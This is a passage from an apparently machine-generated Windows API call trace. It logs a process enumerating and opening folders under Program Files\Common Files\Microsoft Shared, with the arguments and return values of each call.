ftLastWriteTime.dwHighDateTime=0x1c82168, nFileSizeHigh=0x0, nFileSizeLow=0x38200, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSB1FREN.DLL", cAlternateFileName="")) returned 1 [0055.391] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee38d8 [0055.391] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee38d8) returned 1 [0055.391] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee38d8 [0055.391] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee38d8) returned 1 [0055.391] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee38d8 [0055.391] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee38d8) returned 1 [0055.392] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x238a8600, ftCreationTime.dwHighDateTime=0x1c6e3e3, ftLastAccessTime.dwLowDateTime=0x753cc70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x238a8600, ftLastWriteTime.dwHighDateTime=0x1c6e3e3, nFileSizeHigh=0x0, nFileSizeLow=0xcd2ac, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSB1FREN.ITS", cAlternateFileName="")) returned 1 [0055.392] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee38d8 [0055.392] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee38d8) returned 1 [0055.392] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee38d8 [0055.392] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee38d8) returned 1 [0055.392] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee38d8 [0055.392] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xf03698 [0055.392] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed3fd8) returned 1 [0055.392] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xf04ca0 [0055.392] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xf03dd0 [0055.392] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee38d8) returned 1 [0055.392] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d99e900, ftCreationTime.dwHighDateTime=0x1be6f08, ftLastAccessTime.dwLowDateTime=0x79672f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1d99e900, ftLastWriteTime.dwHighDateTime=0x1be6f08, nFileSizeHigh=0x0, nFileSizeLow=0x96a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="WT61FR.LEX", cAlternateFileName="")) returned 1 [0055.392] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee38d8 [0055.392] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee38d8) returned 1 [0055.392] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee38d8 [0055.392] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee38d8) returned 1 [0055.392] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee38d8 [0055.392] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xf04cc0 [0055.392] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xf03ed8 [0055.392] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee38d8) returned 1 [0055.392] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d99e900, ftCreationTime.dwHighDateTime=0x1be6f08, ftLastAccessTime.dwLowDateTime=0x79672f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1d99e900, ftLastWriteTime.dwHighDateTime=0x1be6f08, nFileSizeHigh=0x0, nFileSizeLow=0x96a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="WT61FR.LEX", cAlternateFileName="")) returned 0 [0055.392] GetLastError () returned 0x12 [0055.392] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\*", fInfoLevelId=0x1, lpFindFileData=0x17ae9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17ae9d0) returned 0x459cb8 [0055.393] FindClose (in: hFindFile=0x459c38 | out: hFindFile=0x459c38) returned 1 [0055.393] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7516b10, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7941190, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7941190, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0055.393] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbb22e200, ftCreationTime.dwHighDateTime=0x1c82168, ftLastAccessTime.dwLowDateTime=0x753cc70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbb22e200, ftLastWriteTime.dwHighDateTime=0x1c82168, nFileSizeHigh=0x0, nFileSizeLow=0x38200, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSB1FREN.DLL", cAlternateFileName="")) returned 1 [0055.393] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x238a8600, ftCreationTime.dwHighDateTime=0x1c6e3e3, ftLastAccessTime.dwLowDateTime=0x753cc70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x238a8600, ftLastWriteTime.dwHighDateTime=0x1c6e3e3, nFileSizeHigh=0x0, nFileSizeLow=0xcd2ac, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSB1FREN.ITS", cAlternateFileName="")) returned 1 [0055.393] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d99e900, ftCreationTime.dwHighDateTime=0x1be6f08, ftLastAccessTime.dwLowDateTime=0x79672f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1d99e900, ftLastWriteTime.dwHighDateTime=0x1be6f08, nFileSizeHigh=0x0, nFileSizeLow=0x96a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="WT61FR.LEX", cAlternateFileName="")) returned 1 [0055.393] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d99e900, ftCreationTime.dwHighDateTime=0x1be6f08, ftLastAccessTime.dwLowDateTime=0x79672f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1d99e900, ftLastWriteTime.dwHighDateTime=0x1be6f08, nFileSizeHigh=0x0, nFileSizeLow=0x96a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="WT61FR.LEX", cAlternateFileName="")) returned 0 [0055.393] GetLastError () returned 0x12 [0055.393] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0055.393] FindClose (in: hFindFile=0x459cb8 | out: hFindFile=0x459cb8) returned 1 [0055.393] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf03698) returned 1 [0055.393] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0055.393] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdd541900, ftCreationTime.dwHighDateTime=0x1c911ec, ftLastAccessTime.dwLowDateTime=0x7562dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdd541900, ftLastWriteTime.dwHighDateTime=0x1c911ec, nFileSizeHigh=0x0, nFileSizeLow=0x205b0b, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSB1AR.LEX", cAlternateFileName="")) returned 1 [0055.393] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7780a100, ftCreationTime.dwHighDateTime=0x1c4d75f, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7780a100, ftLastWriteTime.dwHighDateTime=0x1c4d75f, nFileSizeHigh=0x0, nFileSizeLow=0x600, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSB1CACH.LEX", cAlternateFileName="")) returned 1 [0055.393] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd5c6bc00, ftCreationTime.dwHighDateTime=0x1ca9121, ftLastAccessTime.dwLowDateTime=0x58b4ce70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd5c6bc00, ftLastWriteTime.dwHighDateTime=0x1ca9121, nFileSizeHigh=0x0, nFileSizeLow=0x2b990, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSB1CORE.DLL", cAlternateFileName="")) returned 1 [0055.393] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x38c6e400, ftCreationTime.dwHighDateTime=0x1ca6d6a, ftLastAccessTime.dwLowDateTime=0x7588f30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x38c6e400, ftLastWriteTime.dwHighDateTime=0x1ca6d6a, nFileSizeHigh=0x0, nFileSizeLow=0x40f70, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSB1STAR.DLL", cAlternateFileName="")) returned 1 [0055.393] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd4958f00, ftCreationTime.dwHighDateTime=0x1ca9121, ftLastAccessTime.dwLowDateTime=0x58b4ce70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd4958f00, ftLastWriteTime.dwHighDateTime=0x1ca9121, nFileSizeHigh=0x0, nFileSizeLow=0x11390, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSB1XTOR.DLL", cAlternateFileName="")) returned 1 [0055.393] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb44a7300, ftCreationTime.dwHighDateTime=0x1c3af23, ftLastAccessTime.dwLowDateTime=0x5ba5ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb44a7300, ftLastWriteTime.dwHighDateTime=0x1c3af23, nFileSizeHigh=0x0, nFileSizeLow=0x36000, dwReserved0=0x0, dwReserved1=0x0, cFileName="WTSP61MS.DLL", cAlternateFileName="")) returned 1 [0055.393] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb44a7300, ftCreationTime.dwHighDateTime=0x1c3af23, ftLastAccessTime.dwLowDateTime=0x5ba5ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb44a7300, ftLastWriteTime.dwHighDateTime=0x1c3af23, nFileSizeHigh=0x0, nFileSizeLow=0x36000, dwReserved0=0x0, dwReserved1=0x0, cFileName="WTSP61MS.DLL", cAlternateFileName="")) returned 0 [0055.393] GetLastError () returned 0x12 [0055.393] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0055.393] FindClose (in: hFindFile=0x459cf8 | out: hFindFile=0x459cf8) returned 1 [0055.394] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xeef160) returned 1 [0055.394] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed3ec8) returned 1 [0055.394] FindNextFileW (in: hFindFile=0x459bb8, lpFindFileData=0x17aef40 | out: lpFindFileData=0x17aef40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Triedit", cAlternateFileName="")) returned 1 [0055.394] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed3ec8 [0055.394] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Triedit" (normalized: "c:\\program files\\common files\\microsoft shared\\triedit"), fInfoLevelId=0x0, lpFileInformation=0x17aee3c | out: lpFileInformation=0x17aee3c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0055.394] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Triedit" (normalized: "c:\\program files\\common files\\microsoft shared\\triedit"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x17c [0055.394] SetFileTime (hFile=0x17c, lpCreationTime=0x0, lpLastAccessTime=0x17aee80, lpLastWriteTime=0x17aee80) returned 0 [0055.394] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x4000) returned 0xf05cb0 [0055.394] DeviceIoControl (in: hDevice=0x17c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xf05cb0, nOutBufferSize=0x4000, lpBytesReturned=0x17aeed8, lpOverlapped=0x0 | out: lpOutBuffer=0xf05cb0, lpBytesReturned=0x17aeed8, lpOverlapped=0x0) returned 0 [0055.394] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf05cb0) returned 1 [0055.394] NtClose (Handle=0x17c) returned 0x0 [0055.394] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed3ec8) returned 1 [0055.395] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed3ec8 [0055.395] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0055.395] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0055.395] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Triedit\\*", fInfoLevelId=0x1, lpFindFileData=0x17aec88, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17aec88) returned 0x459cf8 [0055.395] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0055.395] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0055.395] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 0 [0055.395] GetLastError () returned 0x12 [0055.395] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Triedit\\*", fInfoLevelId=0x1, lpFindFileData=0x17aec88, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17aec88) returned 0x459cb8 [0055.395] FindClose (in: hFindFile=0x459cf8 | out: hFindFile=0x459cf8) returned 1 [0055.395] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0055.395] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0055.395] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed3fd8 [0055.395] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Triedit\\en-US" (normalized: "c:\\program files\\common files\\microsoft shared\\triedit\\en-us"), fInfoLevelId=0x0, lpFileInformation=0x17aeb84 | out: lpFileInformation=0x17aeb84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0055.396] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Triedit\\en-US" (normalized: "c:\\program files\\common files\\microsoft shared\\triedit\\en-us"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x17c [0055.396] SetFileTime (hFile=0x17c, lpCreationTime=0x0, lpLastAccessTime=0x17aebc8, lpLastWriteTime=0x17aebc8) returned 0 [0055.396] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x4000) returned 0xf05cb0 [0055.396] DeviceIoControl (in: hDevice=0x17c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xf05cb0, nOutBufferSize=0x4000, lpBytesReturned=0x17aec20, lpOverlapped=0x0 | out: lpOutBuffer=0xf05cb0, lpBytesReturned=0x17aec20, lpOverlapped=0x0) returned 0 [0055.396] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf05cb0) returned 1 [0055.396] NtClose (Handle=0x17c) returned 0x0 [0055.397] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed3fd8) returned 1 [0055.397] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed3fd8 [0055.397] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0055.397] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee38d8 [0055.397] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Triedit\\en-US\\*", fInfoLevelId=0x1, lpFindFileData=0x17ae9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17ae9d0) returned 0x459cf8 [0055.397] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0055.397] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0055.397] GetLastError () returned 0x12 [0055.397] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Triedit\\en-US\\*", fInfoLevelId=0x1, lpFindFileData=0x17ae9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17ae9d0) returned 0x459c38 [0055.397] FindClose (in: hFindFile=0x459cf8 | out: hFindFile=0x459cf8) returned 1 [0055.397] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0055.397] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0055.397] GetLastError () returned 0x12 [0055.397] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee38d8) returned 1 [0055.397] FindClose (in: hFindFile=0x459c38 | out: hFindFile=0x459c38) returned 1 [0055.397] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0055.397] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed3fd8) returned 1 [0055.397] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 0 [0055.398] GetLastError () returned 0x12 [0055.398] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0055.398] FindClose (in: hFindFile=0x459cb8 | out: hFindFile=0x459cb8) returned 1 [0055.398] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0055.398] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed3ec8) returned 1 [0055.398] FindNextFileW (in: hFindFile=0x459bb8, lpFindFileData=0x17aef40 | out: lpFindFileData=0x17aef40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeedaa970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="VBA", cAlternateFileName="")) returned 1 [0055.398] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed3ec8 [0055.398] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA" (normalized: "c:\\program files\\common files\\microsoft shared\\vba"), fInfoLevelId=0x0, lpFileInformation=0x17aee3c | out: lpFileInformation=0x17aee3c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeedaa970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0055.401] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA" (normalized: "c:\\program files\\common files\\microsoft shared\\vba"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x178 [0055.401] SetFileTime (hFile=0x178, lpCreationTime=0x0, lpLastAccessTime=0x17aee80, lpLastWriteTime=0x17aee80) returned 0 [0055.401] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x4000) returned 0xf05cb0 [0055.401] DeviceIoControl (in: hDevice=0x178, 